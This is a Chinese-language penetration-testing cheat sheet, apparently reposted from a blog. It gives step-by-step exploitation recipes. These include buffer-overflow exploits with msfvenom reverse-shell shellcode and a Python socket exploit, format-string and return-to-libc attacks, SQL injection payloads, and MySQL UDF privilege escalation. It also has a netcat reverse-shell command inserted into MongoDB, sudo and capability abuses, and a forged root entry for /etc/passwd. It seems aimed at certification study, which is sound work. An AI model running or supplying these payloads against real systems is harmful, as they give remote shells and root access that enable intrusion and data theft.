  1. 造成溢出(使用fuzzer.py)(并检验eip有没有被全覆盖)
  2. 找溢出点
msf-pattern_create -l 2400(生成多400位的检验字符)(并且放到exp.py)msf-pattern_offset -l 2400 -q 【eip】(把返回的eip拿来检验)
  1. 找坏字符(用badchar.py生成,mona配合)
!mona bytearray -b "\x00"就这样每找出来一个坏字符,就重新生成一个不包括他的对比字典!mona bytearray -b "\x00\x07"下面这条命令用来对比(最后面的是esp的值,根据自己的更改)!mona compare -f C:\mona\oscp\bytearray.bin -a 00DCFA28
  1. 找jmp
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0" 后面的是刚才的坏字符找出来的随便选一个就行,倒过来写到exp.py的retn而后写入nop空字符 "\x90" * 16
  1. 生成payload
msfvenom -p windows/shell_reverse_tcp LHOST= 192.168.247.130 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c填入执行即可
linux 64位
1. 查函数查询是否存在溢出使用strings,看看有没有溢出函数2. 分析服务netstat -ant   nc 127.0.0.1 7788   3. 对agent初步检查(gdb中)或使用现成的工具```bash(1)checksec    //检查安全设置(2)查看随机化设置:cat /proc/sys/kernel/randomize_va_space     0 = 关闭1 = 半随机。2 = 全随机。存在随机化需要验证md5,切记4.分析本地agent使用ltrace(跟踪进程调用库函数的情况)查看文件信息:然后随便输入一个id(这里是因为打开文件需要密码)5.查找溢出点```bash/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641  6.查找偏移量覆盖python -c 'print "A" * 168 + "B" * 4'python -c 'print "A" * 168 + "B" * 4 + "CCCCCCCCCCCCCCCC"'7.查找下一跳gdb-peda$ jmpcall eax0x8048563 : call eax或者:asmsearch "jmp eax"asmsearch "call eax"8.查找坏字符方法同windows9.编写expmsfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.162.1 LPORT=8888 -f python -b "\x00\x0a\x0b"========================EXP如下===============----------------------------------------------import socketrong = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 面向网络的套接字rong.connect(('10.211.55.36', 7788))  # 连接client.recv(512)rong.send("48093572\n")  # 发送密码,并按enterclient.recv(512)rong.send("3\n")   # 选择选项 3 并输入client.recv(512)# shellcode from msfvenom  msf的shellcode木马buf =  b""buf += b"\xdb\xda\xd9\x74\x24\xf4\xbb\x99\x95\x96\x1f\x58\x33"buf += b"\xc9\xb1\x12\x31\x58\x17\x83\xe8\xfc\x03\xc1\x86\x74"buf += b"\xea\xc0\x73\x8f\xf6\x71\xc7\x23\x93\x77\x4e\x22\xd3"buf += b"\x11\x9d\x25\x87\x84\xad\x19\x65\xb6\x87\x1c\x8c\xde"buf += b"\x1d\x0c\x59\x0d\x4a\xb0\xa6\x2b\x80\x3d\x47\xfb\xf2"buf += b"\x6d\xd9\xa8\x49\x8e\x50\xaf\x63\x11\x30\x47\x12\x3d"buf += b"\xc6\xff\x82\x6e\x07\x9d\x3b\xf8\xb4\x33\xef\x73\xdb"buf += b"\x03\x04\x49\x9c"# padding  填充字符buf += "A" * ([溢出点] - len(buf))# call eax gadget 调用eax jmpbuf += "\x63\x85\x04\x08\n"rong.send(buf)----------------------------------------------

(待完善)linux 64位(存在spawn)

注意B得高位地址

1. 查询溢出函数strings adminhelper或disas main   ---查看main函数或gdb adminhelperinfo functions2. 下断点gdb adminhelper(gdb) break main    ----下断点main处Breakpoint 1 at 0x817(gdb) run    ----运行Starting program: /home/pinky/adminhelper 3.spawn(gdb) jump spawn     ----查看寄存器Continuing at 0x5555555547d4.disas spawn在第一个压栈(push)的数据可以看到下面的地址0x00005555555547d0 <+0>:push   %rbp得到sapwn地址\xd0\x47\x55\x55\x55\x55

格式字符串-缓冲区溢出提权

1.制造溢出./PSMCCLI $(python -c 'print "A"*2000')   --如果整数无法溢出,那就试试字符./PSMCCLI %x2. 检查安全机制hardening-check ./PSMCCLI3. 拆解函数基本上都是要找到printf的下一个函数disas main   --而后一层一层的拆解找printf4. 查找待写入地址就是printf的下一个函数disas putchar   -----取第一个值5. 生成payload并写入环境变量写入环境变量是普遍方法http://shell-storm.org/shellcode/files/shellcode-827.phpexport SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")6. 定位shellcode---------------------getenvaddr.c#include #include #include int main(int argc, char *argv[]) {char *ptr;if(argc < 3) {printf("Usage: %s  \n", argv[0]);exit(0);}ptr = getenv(argv[1]); /* get env var location */ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */printf("%s will be at %p\n", argv[1], ptr);}--------------------gcc -o getenvaddr getenvaddr.cchmod +x getenvaddr./getenvaddr SPAWN /usr/local/bin/PSMCCLI   ---这个SPAWN就是之前写入环境变量的变量名7. 对齐内存/usr/local/bin/PSMCCLI AAAABBBBC$(python -c "print '%08x.'*200")直到可以在内存中看到完整的四个41后面紧跟着4428. 找到AB偏移量sub甩进去可以看到有多少字符,然后在42后面截断。然后字符数量除以6再减2就是A的地址或者用for循环or i in {1..200}; do echo -n $i ; /usr/local/bin/PSMCCLI AAAABBBBBCCCC%$i\$x ; done | grep 41414141 9. 使得AB输出对齐/usr/local/bin/PSMCCLI AAAABBBBCCC%136\$x%137\$x136137是刚才算出来的$x和$0x或者其他   ----进行调试C或者CC或者CCC    --进行调试 10.地址拆分--前半段(类似于对齐)待覆盖地址:0x0804a01c低地址:0x0804a01c高地址:0x0804a01e32位初始地址+2) 这里是颠倒的因为是小端/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC%136\$x%137\$x能看到C和a01c。a01e即可11. 地址拆分--后半段shellcode地址:0xbffffe931)低地址减去ABC共11个字符=fe93-11=495162)高地址进一位:bfff->1bfff 而后减去低地址=65160(由于整数溢出的原理)/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65160u%137\$hn%49516u%138\$0hn

带预选项的格式化缓冲区溢出

system() = 0x40069060 9060低位。4006高位

1. 关闭安全机制cat /proc/sys/kernel/randomize_va_spaceulimit -sulimit -s unlimited2. 查找溢出点用%x等测试每一个可以输出东西的点位3. 找system和printf的内存地址1. system gdb my_firstb mainrunprint system2. printfobjdump -R ./my_first4. 利用printf制作自动语句printf '1\n1\n1\n4\n' | ./my_first调试直至成功5. 对齐内存printf '1\n1\nAAAA.%%8$x%%x\n4\n' | ./my_first6. 得漏洞函数初始16进制地址printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > shellx/x 0x08049bfc7. 写低位用system低位减去漏洞函数初始低位printf '1\n1\n\xfc\x9b\x04\x08%%36956u%%8$n' > shellgdb ./my_firstr < shell8. 写高位printf加2写入低位数printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36956u%%8$n%%9$n' > shellgdb ./my_firstr < shell9. 修改变化的低位(少加多减)覆盖的低位可能发生变化,按照相差数值加减低位数即可 10. 再写高位system高位加一位减去覆盖结果而后按照差值加减11. 最终payload(高位数是44966)printf ‘1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n’ > shell

Return to libc(开启了nx)

32位,rop文件

1. checksec(检查发现开启了nx)2. 找偏移量pattern create 100r ''pattern offset 3. 验证填充python -c 'print("A" * 52 + "BBBB")'4. 找bin/sh地址strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh5. 找二进制文件地址ldd rop6. 相加得到shell地址7. 找函数起止gdb-peda$ p systemgdb-peda$ p exit8. 构建函数
#!/usr/bin/pythonimport structbuf = "A" * 52system = struct.pack("I" ,0xb7e53da0)exit = struct.pack("I" ,0xb7e479d0)shell = struct.pack("I" ,0xb7f74a0b)print buf + system + exit + shell
  1. 执行
./rop `python /tmp/shell.py`

八、数据库专题

url sql注入

  1. 测试‘
  2. cod是网页参数,开始联合注入测试,如下
cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -

mysql注入手动获取信息

例子:2,3,4,5注入点,基于网页url(cod=100)的前期参数错传导致报错

1. 爆数据库SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -2. 爆表Show Tables in hotelSELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- -3. 爆列Show Columns in roomSELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -4. 获取信息SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -DBadmin

这个例子用于sql注入读取文件

uname=' UNION select 1,load_file('/etc/passwd'),3,4,5,6;-- -&password=1

UDF提权

要注意先要进到/var/www/目录底下,这里面才有信息

dpkg -l | grep mysql   --查看历史安装包版本,就知道写入条件的判断依据了1.看一下是否满足写入条件:show global variables like 'secure%';+------------------+-------+| Variable_name    | Value |+------------------+-------+| secure_auth      | OFF   || secure_file_priv |       |+------------------+-------+2 rows in set (0.00 sec)1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件2.查看插件目录:show variables like '%plugin%';+---------------+------------------------+| Variable_name | Value                  |+---------------+------------------------+| plugin_dir    | /usr/lib/mysql/plugin/ |+---------------+------------------------+1 row in set (0.00 sec)3.查看能否远程登陆:use mysql;select user,host from user;+------------------+-----------+| user             | host      |+------------------+-----------+| root             | 127.0.0.1 || root             | ::1       || debian-sys-maint | localhost || root             | localhost || root             | raven     |+------------------+-----------+5 rows in set (0.00 sec)发现这里root用户不允许远程登陆,因此不能利用MSF提权。谷歌搜索:mysql 5.x UDF exploit  或者  searchsploit udf gcc -g -c 1518.c   ---GCC编译.o文件gcc -g -shared -o rong.so 1518.o -lc-g 生成调试信息-c 编译(二进制)-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。-o:执行命令后的文件名-lc:-l 库 c库名传递exp开启python的传输服务wget http://10.211.55.19:8081/dayu.so  --靶机执行show databases;use mysqlselect database();4. 进入数据库创建数据表rong:create table rong(line blob);  --这里longblob根据大小来分配类型           大小(单位:字节) TinyBlob      最大 255 Blob          最大 65K MediumBlob    最大 16M LongBlob      最大 4G 5. 插入数据文件:insert into rong values(load_file('/tmp/rong.so'));或insert into rong values(load_file('/var/www/html/rong.so'));rong表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!6. 新建存储函数:select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';    ---把这个rong.so导入到插件库中创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:create function do_system returns integer soname 'rong.so';7. 查看以下创建的函数:select * from mysql.func;调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:select do_system('chmod u+s /usr/bin/find');8. 执行find命令使用find执行 shelltouch rongfind rong -exec "/bin/sh" \;或者:find rong -exec "id" \;

mongodb正常查询方法

客户端:mongo

mongo -u mark -p 5AYRft73VtFpc84k scheduler   ---db 查看库信息show collections       ----show tables;查看已存在的表db.tasks.find({})     ----查看一下表内容,现在表中无文档db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.129 4444 >/tmp/f"})   ----将反弹shell插入文档db.getCollectionNames() //搜集userdb.users.update({"_id": "CNT3t4RJkHZFegE3m"}, { $set: { "roles" : ["admin"]}}) //利用已经是admin用户给其他用户赋权

mongodb脚本爆破

如果存在sql注入,直接爆,没什么说的

https://raw.githubusercontent.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration/master/nosqli-user-pass-enum.py
python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep usernamepython mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep password

nosql 注入检测

手测能否注入的列表

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#exploits

如果存在,就参照上一条

如果客户机中没有mysql客户端

mysql[tab][tab]
查看所有可用的mysql工具

也许会发现mysqldump
而它的用法/Magic数据库名

mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic

如果是一个废shell

加上-e直接执行命令

mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'

sql注入模糊测试

ffuf -X POST -u http://10.10.11.101/administrative -d 'uname=FUZZ&password=0xdf' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded" --fw 206

九、需要特殊注意的二进制提权

关于不知用途的二进制文件

一定要
ltrace 【】
然后找函数,看看绝对路径有没有,能不能挟持

journalctl

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service!/bin/sh  /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service这个是因为在调用他的脚本中就输入了如此,我们只是不执行journalctl之后的命令而是执行!/bin/sh  

十、容器相关

查看ip

查看ip等(如果没有ifconfig的命令)

cat /proc/net/fib_trie

枚举docker漏洞

https://github.com/stealthcopter/deepcebash deepce.sh

安装缺少包(docker)

cat /etc/os-release 得到Debian 10 (buster):这个版本的安装版本如下,其他的版本可以自行研究wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2-bin_2.25-2_amd64.debwget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2_2.25-2_amd64.deb而后安装依赖dpkg -i libcap2_2.25-2_amd64.deb dpkg -i libcap2-bin_2.25-2_amd64.deb 、

cap_dac_read_search滥用

脚本在这里,需要编译(我用的2018kali,2022的会报错)编译成priv

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_override

而后写入自己的密码

openssl passwd -1 rongecho 'rong:$1$Dr9BtZXw$VZ7J.H58FZFtxZi3QdqWF.:0:0:pwned:/root:/bin/bash' >> passwd  ./priv /etc/passwd passwd

来源地址:https://blog.csdn.net/weixin_65527369/article/details/127145358

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-人工智能
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯